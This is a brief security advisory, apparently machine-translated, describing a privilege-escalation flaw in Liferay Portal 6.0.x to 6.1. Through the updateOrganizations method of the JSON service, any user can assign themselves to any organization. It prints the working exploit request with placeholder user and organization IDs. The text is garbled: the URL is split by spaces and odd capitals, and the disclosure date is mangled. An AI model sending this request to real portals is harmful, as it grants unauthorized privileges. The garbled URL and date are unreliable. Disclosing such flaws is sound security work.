Liferay Portal 6.1-6.0.x expanded Permissions

Liferay users can assign their own permissions in the system, which may lead to extended permissions.

Brief Introduction
 
Liferay Portal is an enterprise portal written in Java
 
Due to insufficient permission checking in the updateOrganizations
Method of UserService any user
Can assign hem or her self to any organization by issueing a single http request
 
Http://www.bkjia.com/c/portal/json_service? ServiceClassName = com. lifera
Y. portal. service. UserServiceUtil & serviceMethodName = updateOrganizations & s
ErviceParameters = % 5B % 27 userId % 27% 2C + % 27 organizationIds % 27% 5D & userId = YOUR
_ USER_ID & organizationIds = TARGET_ORGANIZATION_ID
 
It is common to grant special privileges to members of an organization.
 
Affected Versions
 
Liferay 6.1 ce
Liferay 6.1 ee
Liferay 6.0.x
 
Development Status:
 
Liferay was notified limit l 22 2012 by filing a bug in their public
Bugtracker under issue number
The LPS-26887. The issue has since been flagged as private and has been resolved.